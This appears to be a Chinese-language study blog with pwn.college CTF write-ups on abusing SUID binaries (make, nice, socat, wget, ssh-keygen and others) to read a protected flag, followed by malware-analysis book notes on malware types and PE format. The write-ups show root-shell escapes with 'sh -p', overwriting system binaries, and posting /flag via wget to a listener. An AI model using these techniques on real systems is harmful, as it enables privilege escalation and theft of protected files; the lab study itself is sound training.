hacker@program-misuse-level-25:~$ find / -type f -name "flag" -exec cat {} \;
pwn.college{Uomlfru_u94ZuszsvlNzA0n6x39.01N2EDL2QjMyMzW}
hacker@program-misuse-level-25:~$

这里需要考虑的是find只是找到,如何读取?

  • 使用-exec

level26 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-26:~$ sh file.sh
Welcome to ./babysuid_level26!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/make.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level26) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/make!

有点儿意思啊,直接出现了GNU Make了

hacker@program-misuse-level-26:~$ COMMAND='cat /flag';make -s --eval=$'x:\n\t-'"$COMMAND"
pwn.college{oYDGLL2PogQjUYR2TV30VTUm-4z.0FO2EDL2QjMyMzW}
hacker@program-misuse-level-26:~$

这个搜了一下,然后不光查到了正确答案还发现自己做错了,出题人想要的是 sh -p 这样提权

这个命令的作用是启动一个新的shell进程,并将该进程的环境变量设置为当前shell进程的环境变量。 具体来说,这个命令包含以下部分: env:这是一个用于执行命令时设置环境变量的工具。在这个命令中,它用于将当前shell进程的所有环境变量传递给新的shell进程。

sh:这是一个用于启动shell进程的命令。在这个命令中,它用于启动一个新的shell进程。

-p:这是一个选项,用于告诉新的shell进程将其环境变量设置为当前shell进程的环境变量。具体来说,它会将当前shell进程的环境变量从环境变量文件(如/etc/environment、/etc/profile、~/.bashrc等)中读取,并将其设置为新的shell进程的环境变量。

因此,这个命令的效果是启动一个新的shell进程,并将其环境变量设置为当前shell进程的环境变量。这可以用于测试shell脚本或命令对环境变量的影响,或者在两个不同的shell进程之间共享环境变量。

看起来就是赋权,然后会拿到一个新的shell提示符

level27 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-27:~$ sh file.sh
Welcome to ./babysuid_level27!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/nice.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level27) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/nice!

nice工具:用于以指定的进程调度优先级启动其他的程序。

hacker@program-misuse-level-27:~$ nice /bin/sh -p
# cat /flag
pwn.college{celMGA3nJomrVQwA5iPwIY2IORz.0VO2EDL2QjMyMzW}
#

这样才是题目想要的,我傻了

level28 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-28:~$ sh file.sh
Welcome to ./babysuid_level28!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/timeout.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level28) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/timeout!

timeout工具:用来指定时间后杀死进程的。

hacker@program-misuse-level-28:~$ timeout 1h /bin/sh -p
# cat /flag
pwn.college{sWxHBmerdB7TO79CXDlkRtygh4x.0FM3EDL2QjMyMzW}
#

这个需要注意指定一个时间

level29 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-29:~$ sh file.sh
Welcome to ./babysuid_level29!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/stdbuf.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level29) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/stdbuf!

stdbuf工具:修改标准流的缓冲模式和大小

hacker@program-misuse-level-29:~$ stdbuf --input=512K /bin/sh -p
# cat /flag
pwn.college{IHf3mOmt5d10g3StOZp5S0AMAfJ.0VM3EDL2QjMyMzW}
#

别用man,真的不好用

level30 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-30:~$ sh file.sh
Welcome to ./babysuid_level30!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/setarch.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level30) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/setarch!

setarch工具: 改变架构的工具

hacker@program-misuse-level-30:~$ setarch i386 /bin/sh -p
# cat /flag
pwn.college{08T2qH86iHnjvFJb-5bmU9C5kJt.0lM3EDL2QjMyMzW}
#

它这个说默认是/bin/sh,可以切i386,在man里写着呢

level31 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-31:~$ sh file.sh
Welcome to ./babysuid_level31!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/watch.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level31) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/watch!

watch工具:执行命令然后全屏输出

hacker@program-misuse-level-31:~$ watch -x cat /flag
### 使用后会输出到全屏
pwn.college{UMl5SVp_YjbBiTIgIIiAi7i_5fg.01M3EDL2QjMyMzW}

很神奇的工具,然而发现tldr不怎么全,只有常见命令,到CTF的环境之中就不太适用了

level32 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-32:~$ sh file.sh
Welcome to ./babysuid_level32!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/socat.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level32) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/socat!

socat:是个和socket有关的工具。

hacker@program-misuse-level-32:~$ socat -u "file:/flag" -
pwn.college{QKHthQcoA6ncJKsiqFJMZ6ITybE.0FN3EDL2QjMyMzW}
hacker@program-misuse-level-32:~$

level33 Requires some light programming to read the flag.!

hacker@program-misuse-level-33:~$ sh file.sh
Welcome to ./babysuid_level33!

This challenge is part of a series of programs that
will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/whiptail.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level33) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/whiptail!

whiptail:展示shell的对话框的工具

hacker@program-misuse-level-33:~$ whiptail --textbox /flag 20 40
pwn.college{4r_plp-YJyPyhT4_GiJQz042S5b.0VN3EDL2QjMyMzW}

是一个打开对话框的工具,因此思路就是直接展示出来就行了。

level34 Requires some light programming to read the flag.!

hacker@program-misuse-level-34:~$ sh file.sh
Welcome to ./babysuid_level34!

This challenge is part of a series of programs that
will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/awk.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level34) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/awk!

这次是一个我一直都不怎么会用的工具了。。。你妈的

hacker@program-misuse-level-34:~$ awk '{print $1}' /flag
pwn.college{ghdjRlnfhKYn-uhIb2N76siNtG_.0lN3EDL2QjMyMzW}
hacker@program-misuse-level-34:~$

awk是一个很有用的工具,有时间还是得学一学

level35 Requires some light programming to read the flag.!

hacker@program-misuse-level-35:~$ sh file.sh
Welcome to ./babysuid_level35!

This challenge is part of a series of programs that
will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/sed.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level35) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/sed!

果然,在awk之后我就应该想到是sed

hacker@program-misuse-level-35:~$ sed p /flag
pwn.college{M3upZ8DYRun26uvObOYrzPSdSUO.01N3EDL2QjMyMzW}
pwn.college{M3upZ8DYRun26uvObOYrzPSdSUO.01N3EDL2QjMyMzW}
hacker@program-misuse-level-35:~$

也许我之前操作错了什么,这里不应该是两行flag吧?

level36 Requires some light programming to read the flag.!

hacker@program-misuse-level-36:~$ sh file.sh
Welcome to ./babysuid_level36!

This challenge is part of a series of programs that
will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/ed.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level36) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ed!

ed工具:是个编辑器,是交互式的

hacker@program-misuse-level-36:~$ ed /flag
57
.p
pwn.college{QNXzpWhqr3e12Okfu2KRnY5jyxa.0FO3EDL2QjMyMzW}

显示全文

level37 Lets you get the flag by doing tricks with permissions!

hacker@program-misuse-level-37:~$ sh file.sh
Welcome to ./babysuid_level37!

This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/chown.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level37) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/chown!

chown工具:改变文件的所有者和组的

hacker@program-misuse-level-37:~$ chown hacker /flag
hacker@program-misuse-level-37:~$ cat /flag
pwn.college{49NDHOhwhBEwWccuPUHSxUU0RIE.0VO3EDL2QjMyMzW}
hacker@program-misuse-level-37:~$

这就是简单的赋权了

level38 Lets you get the flag by doing tricks with permissions!

hacker@program-misuse-level-38:~$ sh file.sh
Welcome to ./babysuid_level38!

This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/chmod.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level38) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/chmod!

这个,没人不会吧

hacker@program-misuse-level-38:~$ chmod 777 /flag
hacker@program-misuse-level-38:~$ cat /flag
pwn.college{UtH5piA32tLwQLpCFPRDXuFa98r.0FM4EDL2QjMyMzW}
hacker@program-misuse-level-38:~$

level39 Lets you get the flag by doing tricks with permissions!

hacker@program-misuse-level-39:~$ sh file.sh
Welcome to ./babysuid_level39!

This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/cp.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level39) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/cp!

一开始想搞个硬链接,然后发现不行,然后输出到标准输出流就行了

hacker@program-misuse-level-39:~$ cp /flag /dev/stdout
pwn.college{Q2azoEz2fXYLZxYkmGAK4PjtrO7.0VM4EDL2QjMyMzW}
hacker@program-misuse-level-39:~$

level40 Lets you get the flag by doing tricks with permissions!

hacker@program-misuse-level-40:~$ sh file.sh
Welcome to ./babysuid_level40!

This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level40) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/mv!

这题,十分的离谱啊,完全不会做,看的答案,实在是太骚气了,使用mv把cat覆盖mv

hacker@program-misuse-level-40:~$ mv /usr/bin/cat /usr/bin/mv
hacker@program-misuse-level-40:~$ sh file.sh
Welcome to ./babysuid_level40!

This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level40) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/mv!
hacker@program-misuse-level-40:~$ mv /flag
pwn.college{g9AYY8a5E2v4R8jr_434HNFYEL3.0lM4EDL2QjMyMzW}
hacker@program-misuse-level-40:~$

///@TODO:这个值得记录一下!

这个题让我想起了一个看到的内容:

如果我们在命令之中不使用管道而使用重定向(这是新手可能会犯的错误)那么前一个输出会重写到后面的命令之中造成混乱,比如 cat /flag > more

level41 Lets you read the flag because they let you program anything!

hacker@program-misuse-level-41:~$ sh file.sh
Welcome to ./babysuid_level41!

This challenge is part of a series of programs that
let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/perl.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level41) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/perl!

perl是个脚本解释器,

hacker@program-misuse-level-41:~$ perl -ne "print if pwn.college" /flag
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
        LANGUAGE = (unset),
        LC_ALL = (unset),
        LC_CTYPE = "C.UTF-8",
        LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
pwn.college{s8g_u7MkHNRfph-Yrrslj2vzKUJ.01M4EDL2QjMyMzW}
hacker@program-misuse-level-41:~$

打印有pen.college的行

level42 Lets you read the flag because they let you program anything!

hacker@program-misuse-level-42:~$ sh file.sh
Welcome to ./babysuid_level42!

This challenge is part of a series of programs that
let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/python.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level42) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/python!

使用python

>>> with open("/flag","r") as f:
...     print(f.read())
...
pwn.college{kTtv9lYtW7yK8dnUSvApk5Yv1s-.0FN4EDL2QjMyMzW}

>>>

level43 Lets you read the flag because they let you program anything!

hacker@program-misuse-level-43:~$ sh file.sh
Welcome to ./babysuid_level43!

This challenge is part of a series of programs that
let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/ruby.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level43) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ruby!

用ruby写脚本

# 打开文件
File.open('/flag', 'r') do |f|
  # 读取文件内容
  content = f.read
  # 输出文件内容
  puts content
end
hacker@program-misuse-level-43:~$ ruby level43.rb
pwn.college{smGb0PfTvxp0__6HgKHsucNW2Pg.0VN4EDL2QjMyMzW}
hacker@program-misuse-level-43:~$

level44 Lets you read the flag because they let you program anything!

hacker@program-misuse-level-44:~$ sh file.sh
Welcome to ./babysuid_level44!

This challenge is part of a series of programs that
let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/bash.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level44) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/bash!

bash,参照之前的题拿到提示符

hacker@program-misuse-level-44:~$ bash -p
bash-5.0# cat /flag
pwn.college{wsQ6idwZWBnJ7doJInQhvY0hBVg.0lN4EDL2QjMyMzW}
bash-5.0#

level45 Just straight up wasn’t designed to let you read files!

hacker@program-misuse-level-45:~$ sh file.sh
Welcome to ./babysuid_level45!

This challenge is part of a series of programs that
just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/date.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level45) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/date!

手册里写了-f读文件

hacker@program-misuse-level-45:~$ date -f /flag
date: invalid date 'pwn.college{E0wTS_9vWAv5Z6QWVWGpaHKER5P.01N4EDL2QjMyMzW}'
hacker@program-misuse-level-45:~$

level46 Just straight up wasn’t designed to let you read files!

hacker@program-misuse-level-46:~$ sh file.sh
Welcome to ./babysuid_level46!

This challenge is part of a series of programs that
just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/dmesg.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level46) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/dmesg!

显示开机时间之类的东西

hacker@program-misuse-level-46:~$ dmesg -F /flag
[    0.000000] pwn.college{Q8U4rT5_srr0BlLq1ZlDOJx0yDe.0FO4EDL2QjMyMzW}
hacker@program-misuse-level-46:~$

都是看手册

level47 Just straight up wasn’t designed to let you read files!

hacker@program-misuse-level-47:~$ sh file.sh
Welcome to ./babysuid_level47!

This challenge is part of a series of programs that
just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/wc.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level47) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/wc!

wc一般用于统计行号、字数什么的。

hacker@program-misuse-level-47:~$ wc --files0-from=/flag
wc: 'pwn.college{shy1dFSZ2LmpPnQ-OAl_RoDeLxh.0VO4EDL2QjMyMzW}'$'\n': No such file or directory
hacker@program-misuse-level-47:~$

从手册来看就上面这个不是统计数量的,因此就它了!

level48 Just straight up wasn’t designed to let you read files!

hacker@program-misuse-level-48:~$ sh file.sh
Welcome to ./babysuid_level48!

This challenge is part of a series of programs that
just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/gcc.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level48) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/gcc!

有点儿意思,gcc都出来了

hacker@program-misuse-level-48:~$ gcc -x c -E /flag
# 1 "/flag"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "<command-line>" 2
# 1 "/flag"
pwn.college{UgtHTJRU8raItcJF89PS-hM7Rh9.0FM5EDL2QjMyMzW}
hacker@program-misuse-level-48:~$

它这个必须要指定语言,不然不能运行

///@TODO: 这个一定要去看官方解答,直接在一个程序里面include ‘/flag’,然后靠报错得到flag,非常有启发

level49 Just straight up wasn’t designed to let you read files!

hacker@program-misuse-level-49:~$ sh file.sh
Welcome to ./babysuid_level49!

This challenge is part of a series of programs that
just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/as.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level49) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/as!

as:汇编语言的编译器

hacker@program-misuse-level-49:~$ as -g /flag
/flag: Assembler messages:
/flag:1: Error: no such instruction: `pwn.college{MqHCh7Oprd3rEP2f1i_RgAl8QZR.0VM5EDL2QjMyMzW}'
hacker@program-misuse-level-49:~$

通过调试输出

level50 Just straight up wasn’t designed to let you read files!

hacker@program-misuse-level-50:~$ sh file.sh
Welcome to ./babysuid_level50!

This challenge is part of a series of programs that
just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/wget.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level50) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/wget!

wget:下载器

hacker@program-misuse-level-50:~$ nc -lp 8888 & wget --post-file=/flag http://127.0.0.1:8888
[1] 5873
--2023-07-22 13:39:17--  http://127.0.0.1:8888/
Connecting to 127.0.0.1:8888... connected.
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:8888
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

HTTP request sent, awaiting response... pwn.college{M8oJZxXsT1hCl5_WCWqpA-ITlJZ.0lM5EDL2QjMyMzW}

有个叫文件上传的功能,这个看了一个别人的答案

level51 Shows how dangerous it is to allow users to load their own code as plugins into the program (but figuring out how is the hard part)!

hacker@program-misuse-level-51:~$ sh file.sh
Welcome to ./babysuid_level51!

This challenge is part of a series of programs that
show you how dangerous it is to allow users to load their own code as plugins into the program (but figuring out how is the hard part!).

I just set the SUID bit on /usr/bin/ssh-keygen.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level51) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ssh-keygen!

这个我是一点儿都不会,看了一下讲解才明白,G

这个就是写一个C/C++程序,里面要有C_GetFunctionList这个函数,然后用sendfile来open文件。

然后使用gcc编译成.so文件,最后使用ssh-keygen -D即可。

hacker@program-misuse-level-51:~$ ssh-keygen -D ./level51.so
pwn.college{koI1pFWalnNHyjlN_NQ4CLcsasT.01M5EDL2QjMyMzW}
C_GetFunctionList for provider ./level51.so failed: 57
cannot read public key from pkcs11
hacker@program-misuse-level-51:~$

值得记录的内容

关于mv 那块儿的,一个博客

最后一个题的讲解,这玩意儿不讲是真不会,太菜了

Knowledge

wp

level1

hacker@program-interaction-level-1:~$ /challenge/embryoio_level1
WELCOME! This challenge makes the following asks of you:
- the challenge checks for a specific parent process : bash

ONWARDS TO GREATNESS!

[INFO] This challenge will now perform a bunch of checks.
[INFO] If you pass these checks, you will receive the flag.
[TEST] Performing checks on the parent process of this process.
[TEST] Checking to make sure the process is the bash shell. If this is a check for the parent process, then,
[TEST] most likely, this is what you do by default anyways, but we'll check just in case...
[INFO] The process' executable is /usr/bin/bash.
[INFO] This might be different than expected because of symbolic links (for example, from /usr/bin/python to /usr/bin/python3 to /usr/bin/python3.8).
[INFO] To pass the checks, the executable must be bash.
[FAIL] You did not satisfy all the execution requirements.
[FAIL] Specifically, you must fix the following issue:
[FAIL]    The shell process must be running in its default, interactive mode (/bin/bash with no commandline arguments). Your commandline arguments are: ['/bin/bash', '--init-file', '/usr/lib/code-server/lib/vscode/out/vs/workbench/contrib/terminal/browser/media/shellIntegration-bash.sh']
hacker@program-interaction-level-1:~$

level2


level3


level4


level5


level6


level7


level8


level9


level10


level11


level12


level13


level14


level15


level16


level17


level18


level19


level20


level21


level22


level23


level24


level25


level26


level27


level28


level29


level30


level31


level32


level33


level34


level35


level36


level37


level38


level39


level40


level41


level42


level43


level44


level45


level46


level47


level48


level49


level50


level51


level52


level53


level54


level55


level56


level57


level58


level59


level60


level61


level62


level63


level64


level65


level66


level67


level68


level70


level71


level72


level73


level74


level76


level77


level78


level79


level80


level82


level83


level84


level85


level86


level87


level88


level89


level90


level91


level92


level93


level94


level95


level96


level97


level98


level99


level100


level101


level102


level103


level104


level105


level106


level107


level108


level109


level110


level111


level112


level113


level114


level115


level116


level117


level118


level119


level120


level121


level122


level123


level124


level125


level126


level127


level128


level129


level130


level131


level132


level133


level134


level135


level136


level137


level138


level139


level140


level141


level142

《恶意代码分析实战》阅读笔记

这本书在课上学过,可惜当时讲的太浅,因此现在重新开始学习这些内容,并希望可以在学习的过程之中使用这些内容自己编写一些简单的、小的病毒。

About Knowledge

存放了所有理论知识和笔记。

The Goals of Malware Analysis

  • 确定到底发生了什么
  • 确保能够定位出所有受感染的主机和文件
  • 解刨可疑文件
  • 找出可用于检测的特征码
  • 基于机器学习构建检测系统
  • 如何检测并控制损害

Signatures 特征码

  • Identify files or registry keys on a victim computer that indicate an infection

  • Focus on what the malware did to the system, not the malware itself

  • Different from antivirus signatures

  • 又称为感染迹象,用于在受感染主机上检测出恶意代码。

  • 经常是恶意代码所创建或修改的文件,或是对注册表的特定修改。

  • 与反病毒软件所使用的病毒特征码不同 恶意代码的感染迹象关注的是恶意代码对系统做了什么 恶意代码的病毒特征码关注的是恶意代码本身的特性。 有时感染迹象更加有效,比如检测那些经常变化自身形态的多态性恶意代码,或者恶意代码已经将自身文件从硬盘中删除。

  • Network signatures 基于网络的特征码

  • Detect malware by analyzing network traffic

  • More effective when made using malware analysis

  • 通过监测网络流量来检测恶意代码

  • 在恶意代码分析帮助下提取的基于网络的特征码往往是更加有效的,有更高的检测率和更少的误报

两种方法

静态、动态

而这两种之中又分为基础技术和高级技术,高级技术就是指逆向、调试等内容。

恶意代码的类型

  1. Backdoor后门
  • Allows attacker to control the system
  • 恶意代码将自身安装到一台计算机来允许攻击者访问
  1. Botnet 僵尸网络
  • All infected computers receive instructions from the same Command-and-Control (C&C) server
  • 所有被同一个僵尸网络感染的计算机将会从一台控制命令服务器接收到相同的命令,允许攻击者访问系统
  1. Downloader 下载器
  • Malicious code that exists only to download other malicious code
  • Used when attacker first gains access
  • 只是用来下载其他恶意代码的恶意代码
  • 通常是在攻击者获得系统的访问时首先进行安装的
  1. Information-stealing malware 间谍软件
  • Sniffers, keyloggers, password hash grabbers
  • 从受害计算机上收集信息并发送给攻击者
  • 比如:嗅探器、密码哈希采集器、键盘记录器等。
  1. Launcher 启动器
  • Malicious program used to launch other malicious programs
  • Often uses nontraditional techniques to ensure stealth or greater access to a system
  • 用来启动其他恶意程序的恶意代码
  • 通常使用一些非传统的技术来启动其他恶意程序,以确保其隐蔽性,或者以更高权限访问系统。
  1. Rootkit内核套件
  • Malware that conceals the existence of other code
  • Usually paired with a backdoor
  • 用来隐藏其他恶意代码的恶意代码
  • 通常是与其他恶意代码(如后门)组合成工具套装,来允许为攻击者提供远程访问
  1. Scareware 恐吓软件(勒索软件?)
  • Frightens user into buying something
  • 勒索用户购买某些东西的恶意代码
  • 通常有一个用户界面,使得它看起来像是一个杀毒软件或其他安全程序。它会通知用户系统中存在恶意代码,而唯一除掉它们的方法只有购买他们的“软件”,而事实上,他们所卖软件的全部功能只不过是将勒索软件进行移除而己。
  1. Spam-sending malware 发送垃圾邮件的恶意代码
  • Attacker rents machine to spammers
  • 通过为攻击者出售垃圾邮件发送服务而获得收益
  1. Worms or viruses 蠕虫或病毒
  • Malicious code that can copy itself and infect additional computers
  • 可以复制自身并感染其他计算机的恶意代码
  1. Ransomware 勒索软件
  • encrypt victim’s data as hostage
  • ask for ransom to recover the data
  • 将受害者的数据加密为人质
  • 勒索财物后才恢复数据

Mass v. Targeted Malware

  • Mass malware 大众性恶意代码
  • Intended to infect as many machines as possible
  • Most common type
  • 设计为影响到尽可能多的机器
  • 最为普遍

Targeted malware 针对性恶意代码

  • APT(Advanced Persistent Threat):高级持续性威胁,本质是针对性攻击
  • Tailored to a specific target
  • Very difficult to detect, prevent, and remove
  • Requires advanced analysis
  • Ex: Stuxnet
  • 针对特定组织而研制的
  • 很难检测,防止和移除
  • 需要高级分析
  • 震网病毒

静态分析技术基础

反病毒引擎

可以用一些开源扫描引擎先扫一下病毒

哈希值

恶意代码的唯一标识。如果对hash不熟悉,这里需要一些密码学的知识。

工具:md5deep

查找字符串

工具:strings

strings会忽略上下文和格式,从整个文件中检测出可打印字符串。

unicode编码

这里需要知道unicode和ascii的区别 unicode

加壳

加壳用来防止恶意代码被轻易分析出来。 加壳

加壳和混淆代码通常包含 LoadLibraryGetProcAddress函数,用来加载和使用其他函数功能

检测

工具:PEiD

2011年停止支持,不知道有没有新的工具。

PE文件格式

本段内容由网络知识搜索而成,因为PE文件非常重要,书上这一点讲得太少!

基本介绍

PE文件是Windows操作系统下使用的一种可执行文件,由COFF(UNIX平台下的通用对象文件格式)格式。

PE是“Portable Executable File Format”(可移植的执行体)的缩写。

PE文件是指 32 位可执行文件,也称为PE32。64位的可执行文件称为 PE+ 或 PE32+,是PE(PE32)的一种扩展形式(请注意不是PE64),没有新的结构加入,只是简单地将以前32位字段扩展成64位。对于C++代码,Windows文件头的配置使其拥有不明显的区别。 事实上,一个文件是否是 PE 文件与其扩展名无关,EXE文件和DLL文件的区别完全是语义上的。它们使用完全相同的PE格式,唯一的区别就是用一个字段标识出这个文件是EXE还是DLL。

种类

种类主扩展名
可执行系列EXE, SCR
库系列DLL, OCX, CPL, DRV
驱动程序系列SYS, VXD
对象文件系列OBJ

基本形式

PE文件使用的是一个平面地址空间,所有代码和数据都被合并在一起,组成一个很大的结构。文件的内容被分割为不同的区块(Section,又称区段、节等),区块中包含代码或数据,各个区块按页边界来对齐,区块没有大小限制,是一个连续结构。每个块都有它自己在内存中的一套属性,比如:这个块是否包含代码、是否只读或可读/写等。

具体结构

PE文件结构

  1. DOS头 是用来兼容 MS-DOS 操作系统的,目的是当这个文件在 MS-DOS 上运行时提示一段文字,大部分情况下是:This program cannot be run in DOS mode. 还有一个目的,就是指明 NT 头在文件中的位置。
  2. NT头 包含 windows PE 文件的主要信息,其中包括一个 ‘PE’ 字样的签名,PE文件头(IMAGE_FILE_HEADER)和 PE可选头(IMAGE_OPTIONAL_HEADER32)。
  3. 节表:是 PE 文件后续节的描述,windows 根据节表的描述加载每个节。
  4. 节:每个节实际上是一个容器,可以包含 代码、数据 等等,每个节可以有独立的内存权限,比如代码节默认有读/执行权限,节的名字和数量可以自己定义,未必是上图中的三个。

RVA VA

相对虚拟地址RVA与虚拟地址VA >当一个 PE 文件被加载到内存中以后,我们称之为 “ 映象 “(image),一般来说,PE文件在硬盘上和在内存里是不完全一样的,被加载到内存以后其占用的虚拟地址空间要比在硬盘上占用的空间大一些,这是因为各个节在硬盘上是连续的,而在内存中是按页对齐的,所以加载到内存以后节之间会出现一些 “空洞” 。

因为存在这种对齐,所以在 PE 结构内部,表示某个位置的地址采用了两种方式:

针对在硬盘上存储文件中的地址,称为 原始存储地址 或 物理地址,表示 距离文件头的偏移。 针对加载到内存以后映象中的地址,称为 相对虚拟地址(RVA),表示相对内存映象头的偏移。

这里需要知道的是RVA=VA-ImageBase

结构

DOS头

由MZ头和DOS存根组成

MZ头部是真正的DOS头部,由于其开始处的两个字节为“MZ”,因此DOS头也可以叫作MZ头。该部分用于程序在DOS系统下加载,它的结构被定义为IMAGE_DOS_HEADER。

其中,值得注意的是e_magic字段和e_lfanew字段 e_magic字段占两个字节,值为0x5A4D,对应ASCII码值为'MZ',“MZ“其实是MS-DOS的创建者之一Mark Zbikowski名字的缩写。

e_lfanew字段占4个字节,位于从文件开始偏移3Ch字节处,用于指出NT头的偏移地址

typedef struct _IMAGE_DOS_HEADER {
    WORD e_magic; //魔术数字
    WORD e_cblp;  //文件最后页的字节数
    WORD e_cp;    //文件页数
    WORD e_crlc;  //重定义元素个数
    WORD e_cparhdr;  //头部尺寸,以段落为单位
    WORD e_minalloc; //所需的最小附加段
    WORD e_maxalloc; //所需的最大附加段
    WORD e_ss;    //初始的SS值(相对偏移量)
    WORD e_sp;    //初始的SP值
    WORD e_csum;  //校验和
    WORD e_ip;    //初始的IP值
    WORD e_cs;    //初始的CS值(相对偏移量)
    WORD e_lfarlc; //重分配表文件地址
    WORD e_ovno;   //覆盖号
    WORD e_res[4]; //保留字
    WORD e_oemid;  //OEM标识符(相对e_oeminfo)
    WORD e_oeminfo;  //OEM信息
    WORD e_res2[10]; //保留字
    LONG e_lfanew;   //新exe头部的文件位置
} IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;

NT头

PE最重要的头,由 DOS 头中的 e_lfanew 决定 ,表示 DOS头之后的 NT头相对文件起始地址的偏移

巨恶心的一大坨东西。

这一块儿最重要的是导入表、导出表、资源目录等。

这里日后用到了再写,这一坨是真的恶心

节表

节表Section Table是一个结构数组,每个元素都是一个IMAGE_SECTION_HEADER结构,包含了对应节的属性、文件偏移量、虚拟偏移量等。

typedef struct _IMAGE_SECTION_HEADER {
